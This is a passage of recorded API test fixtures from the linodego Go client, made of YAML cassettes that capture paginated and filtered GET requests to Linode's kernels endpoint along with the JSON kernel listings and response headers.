true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.6.5-x86_64-linode71", "label": "4.6.5-x86_64-linode71", "version": "4.6.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.6.3-x86_64-linode70", "label": "4.6.3-x86_64-linode70", "version": "4.6.3", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.5.5-x86_64-linode69", "label": "4.5.5-x86_64-linode69", "version": "4.5.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.5.3-x86_64-linode67", "label": "4.5.3-x86_64-linode67", "version": "4.5.3", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.5.0-x86_64-linode65", "label": "4.5.0-x86_64-linode65", "version": "4.5.0", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.4-x86_64-linode64", "label": "4.4.4-x86_64-linode64", "version": "4.4.4", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.0-x86_64-linode63", "label": "4.4.0-x86_64-linode63", "version": "4.4.0", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.1.5-x86_64-linode61", "label": "4.1.5-x86_64-linode61", "version": "4.1.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.1.5-x86_64-linode60", "label": "4.1.5-x86_64-linode60 ", "version": "4.1.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.1.0-x86_64-linode59", "label": "4.1.0-x86_64-linode59 ", "version": "4.1.0", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0.5-x86_64-linode58", "label": "4.0.5-x86_64-linode58", "version": "4.0.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0.4-x86_64-linode57", "label": "4.0.4-x86_64-linode57", "version": "4.0.4", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0.2-x86_64-linode56", "label": "4.0.2-x86_64-linode56", "version": "4.0.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0.1-x86_64-linode55", "label": "4.0.1-x86_64-linode55", "version": "4.0.1", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0-x86_64-linode54", "label": "4.0-x86_64-linode54", "version": "4.0", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.19.1-x86_64-linode53", "label": "3.19.1-x86_64-linode53", "version": "3.19.1", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.18.5-x86_64-linode52", "label": "3.18.5-x86_64-linode52", "version": "3.18.5", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.18.3-x86_64-linode51", "label": "3.18.3-x86_64-linode51", "version": "3.18.3", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.18.1-x86_64-linode50", "label": "3.18.1-x86_64-linode50", "version": "3.18.1", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.16.7-x86_64-linode49", "label": "3.16.7-x86_64-linode49", "version": "3.16.7", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.16.5-x86_64-linode46", "label": "3.16.5-x86_64-linode46", "version": "3.16.5", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.15.4-x86_64-linode45", "label": "3.15.4-x86_64-linode45", "version": "3.15.4", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.15.3-x86_64-linode44", "label": "3.15.3-x86_64-linode44", "version": "3.15.3", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.15.2-x86_64-linode43", "label": "3.15.2-x86_64-linode43", "version": "3.15.2", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.14.5-x86_64-linode42", "label": "3.14.5-x86_64-linode42", "version": "3.14.5", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.14.5-x86_64-linode41", "label": "3.14.5-x86_64-linode41", "version": "3.14.5", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.14.4-x86_64-linode40", "label": "3.14.4-x86_64-linode40", "version": "3.14.4", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.14.1-x86_64-linode39", "label": "3.14.1-x86_64-linode39", "version": "3.14.1", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.13.7-x86_64-linode38", "label": "3.13.7-x86_64-linode38", "version": "3.13.7", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.12.9-x86_64-linode37", "label": "3.12.9-x86_64-linode37", "version": "3.12.9", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.12.6-x86_64-linode36", "label": "3.12.6-x86_64-linode36", "version": "3.12.6", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.11.6-x86_64-linode35", "label": "3.11.6-x86_64-linode35", "version": "3.11.6", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.10.3-x86_64-linode34", "label": "3.10.3-x86_64-linode34", "version": "3.10.3", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.9.3-x86_64-linode33", "label": "3.9.3-x86_64-linode33", "version": "3.9.3", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.9.2-x86_64-linode32", "label": "3.9.2-x86_64-linode32", "version": "3.9.2", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.8.4-x86_64-linode31", "label": "3.8.4-x86_64-linode31", "version": "3.8.4", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.7.10-x86_64-linode30", "label": "3.7.10-x86_64-linode30", "version": "3.7.10", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.7.5-x86_64-linode29", "label": "3.7.5-x86_64-linode29", "version": "3.7.5", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.6.5-x86_64-linode28", "label": "3.6.5-x86_64-linode28", "version": "3.6.5", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.5.3-x86_64-linode27", "label": "3.5.3-x86_64-linode27", "version": "3.5.3", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.4.2-x86_64-linode25", "label": "3.4.2-x86_64-linode25", "version": "3.2.4", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}], "page": 3, "pages": 4, "results": 330}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 01 Jul 2024 14:36:57 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - unknown X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/kernels?page=4 method: GET response: body: '{"data": [{"id": "linode/3.0.18-x86_64-linode24", "label": "3.0.18-x86_64-linode24 ", "version": "3.0.18", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.2.1-x86_64-linode23", "label": "3.2.1-x86_64-linode23", "version": "3.2.0", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.1.0-x86_64-linode22", "label": "3.1.0-x86_64-linode22", "version": "3.1.0", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0.4-x86_64-linode21", "label": "3.0.4-x86_64-linode21", "version": "3.0.4", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0.0-x86_64-linode20", "label": "3.0.0-x86_64-linode20", "version": "3.0.0", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.39.1-x86_64-linode19", "label": "2.6.39.1-x86_64-linode19", "version": "2.6.39", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.39-x86_64-linode18", "label": "2.6.39-x86_64-linode18", "version": "2.6.39", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.38-x86_64-linode17", "label": "2.6.38-x86_64-linode17", "version": "2.6.38", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.35.4-x86_64-linode16", "label": "2.6.35.4-x86_64-linode16", "version": "2.6.35", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32.12-x86_64-linode15", "label": "2.6.32.12-x86_64-linode15", "version": "2.6.32", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.34-x86_64-linode13", "label": "2.6.34-x86_64-linode13", "version": "2.6.34", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.34-x86_64-linode14", "label": "2.6.34-x86_64-linode14", "version": "2.6.34", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32.12-x86_64-linode12", "label": "2.6.32.12-x86_64-linode12", "version": "2.6.32", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32-x86_64-linode11", "label": "2.6.32-x86_64-linode11", "version": "2.6.32", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-x86_64-linode10", "label": "2.6.18.8-x86_64-linode10", "version": "2.6.18", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.31.5-x86_64-linode9", "label": "2.6.31.5-x86_64-linode9", "version": "2.6.31", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.30.5-x86_64-linode8", "label": "2.6.30.5-x86_64-linode8", "version": "2.6.30", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-x86_64-linode7", "label": "2.6.18.8-x86_64-linode7", "version": "2.6.18", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.29-x86_64-linode6", "label": "2.6.29-x86_64-linode6", "version": "2.6.29", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.28.3-x86_64-linode5", "label": "2.6.28.3-x86_64-linode5", "version": "2.6.28", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.28-x86_64-linode4", "label": "2.6.28-x86_64-linode4", "version": "2.6.28", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.27.4-x86_64-linode3", "label": "2.6.27.4-x86_64-linode3", "version": "2.6.27", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.16.38-x86_64-linode2", "label": "2.6.16.38-x86_64-linode2", "version": "2.6.16", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-x86_64-linode1", "label": "2.6.18.8-x86_64-linode1", "version": "2.6.18", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.5.2-x86_64-linode26", "label": "3.5.2-x86_64-linode26", "version": "3.5.2", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/grub2", "label": "GRUB 2", "version": "2.06", "kvm": true, "architecture": "x86_64", "pvops": false, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/direct-disk", "label": "Direct Disk", "version": "", "kvm": true, "architecture": "x86_64", "pvops": false, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/grub-legacy", "label": "GRUB (Legacy)", "version": "2.0.0", "kvm": true, "architecture": "x86_64", "pvops": false, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/pv-grub_x86_32", "label": "pv-grub-x86_32", "version": "2.6.26", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/pv-grub_x86_64", "label": "pv-grub-x86_64", "version": "2.6.26", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": false, "built": "2018-01-02T03:04:05"}], "page": 4, "pages": 4, "results": 330}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 01 Jul 2024 14:36:57 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - unknown X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/ExampleListKernels_filtered.yaml000066400000000000000000000034561474652371000331110ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"label":"5.17.5-x86_64-linode154"}' url: https://api.linode.com/v4beta/linode/kernels?page=1 method: GET response: body: '{"data": [{"id": "linode/5.17.5-x86_64-linode154", "label": "5.17.5-x86_64-linode154", "version": "5.17.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "253" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 01 Jul 2024 14:36:58 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - unknown X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/ExampleListKernels_page1.yaml000066400000000000000000000550241474652371000323060ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/kernels?page=1 method: GET response: body: '{"data": [{"id": "linode/latest-2.6-32bit", "label": "Latest 2.6 (2.6.39.1-linode34)", "version": "2.6.39", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/latest-2.6", "label": "Latest 2.6 Stable (2.6.23.17-linode44)", "version": "2.6.24", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/latest-32bit", "label": "Latest 32 bit (6.8.9-x86-linode184)", "version": "6.8.9", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-linode22", "label": "Latest Legacy (2.6.18.8-linode22)", "version": "2.6.18", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.8.9-x86_64-linode164", "label": "6.8.9-x86_64-linode164", "version": "6.8.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.8.9-x86-linode184", "label": "6.8.9-x86-linode184", "version": "6.8.9", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.7.9-x86_64-linode163", "label": "6.7.9-x86_64-linode163", "version": "6.7.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.7.9-x86-linode183", "label": "6.7.9-x86-linode183", "version": "6.7.9", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.4.9-x86_64-linode162", "label": "6.4.9-x86_64-linode162", "version": "6.4.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.4.9-x86-linode182", "label": "6.4.9-x86-linode182", "version": "6.4.9", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.3.5-x86_64-linode161", "label": "6.3.5-x86_64-linode161", "version": "6.3.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.3.5-x86-linode181", "label": "6.3.5-x86-linode181", "version": "6.3.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.2.9-x86_64-linode160", "label": "6.2.9-x86_64-linode160", "version": "6.2.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.2.9-x86-linode180", "label": "6.2.9-x86-linode180", "version": "6.2.9", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.1.10-x86_64-linode159", "label": "6.1.10-x86_64-linode159", "version": "6.1.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.1.10-x86-linode179", "label": "6.1.10-x86-linode179", "version": "6.1.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.0.10-x86_64-linode158", "label": "6.0.10-x86_64-linode158", "version": "6.0.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.0.10-x86-linode178", "label": "6.0.10-x86-linode178", "version": "6.0.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.0.2-x86_64-linode157", "label": "6.0.2-x86_64-linode157", "version": "6.0.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.0.2-x86-linode177", "label": "6.0.2-x86-linode177", "version": "6.0.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.19.2-x86_64-linode156", "label": "5.19.2-x86_64-linode156", "version": "5.19.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.19.2-x86-linode176", "label": "5.19.2-x86-linode176", "version": "5.19.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.18.2-x86_64-linode155", "label": "5.18.2-x86_64-linode155", "version": "5.18.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.18.2-x86-linode175", "label": "5.18.2-x86-linode175", "version": "5.18.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.17.5-x86_64-linode154", "label": "5.17.5-x86_64-linode154", "version": "5.17.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.17.5-x86-linode174", "label": "5.17.5-x86-linode174", "version": "5.17.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.16.13-x86-linode173", "label": "5.16.13-x86-linode173", "version": "5.16.13", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.16.13-x86_64-linode153", "label": "5.16.13-x86_64-linode153", "version": "5.16.13", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.16.3-x86_64-linode152", "label": "5.16.3-x86_64-linode152", "version": "5.16.3", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.16.3-x86-linode172", "label": "5.16.3-x86-linode172", "version": "5.16.3", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.15.10-x86_64-linode151", "label": "5.15.10-x86_64-linode151", "version": "5.15.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.15.10-x86-linode171", "label": "5.15.10-x86-linode171", "version": "5.15.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.17-x86_64-linode150", "label": "5.14.17-x86_64-linode150", "version": "5.14.17", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.17-x86-linode170", "label": "5.14.17-x86-linode170", "version": "5.14.17", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.15-x86_64-linode149", "label": "5.14.15-x86_64-linode149", "version": "5.14.15", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.15-x86-linode169", "label": "5.14.15-x86-linode169", "version": "5.14.15", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.14-x86_64-linode148", "label": "5.14.14-x86_64-linode148", "version": "5.14.14", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.14-x86-linode168", "label": "5.14.14-x86-linode168", "version": "5.14.14", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.2-x86_64-linode147", "label": "5.14.2-x86_64-linode147", "version": "5.14.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.2-x86-linode167", "label": "5.14.2-x86-linode167", "version": "5.14.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.13.4-x86_64-linode146", "label": "5.13.4-x86_64-linode146", "version": "5.13.4", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.13.4-x86-linode166", "label": "5.13.4-x86-linode166", "version": "5.13.4", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.12.13-x86_64-linode145", "label": "5.12.13-x86_64-linode145", "version": "5.12.13", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.12.13-x86-linode165", "label": "5.12.13-x86-linode165", "version": "5.12.13", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.12.2-x86_64-linode144", "label": "5.12.2-x86_64-linode144", "version": "5.12.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.12.2-x86-linode164", "label": "5.12.2-x86-linode164", "version": "5.12.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.11.13-x86_64-linode143", "label": "5.11.13-x86_64-linode143", "version": "5.11.13", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.11.13-x86-linode163", "label": "5.11.13-x86-linode163", "version": "5.11.13", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.11.9-x86_64-linode142", "label": "5.11.9-x86_64-linode142", "version": "5.11.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.11.9-x86-linode162", "label": "5.11.9-x86-linode162", "version": "5.11.9", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.10.13-x86_64-linode141", "label": "5.10.13-x86_64-linode141", "version": "5.10.13", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.10.13-x86-linode161", "label": "5.10.13-x86-linode161", "version": "5.10.13", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.10.2-x86_64-linode140", "label": "5.10.2-x86_64-linode140", "version": "5.10.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.10.2-x86-linode160", "label": "5.10.2-x86-linode160", "version": "5.10.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.9.6-x86_64-linode139", "label": "5.9.6-x86_64-linode139", "version": "5.9.6", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": 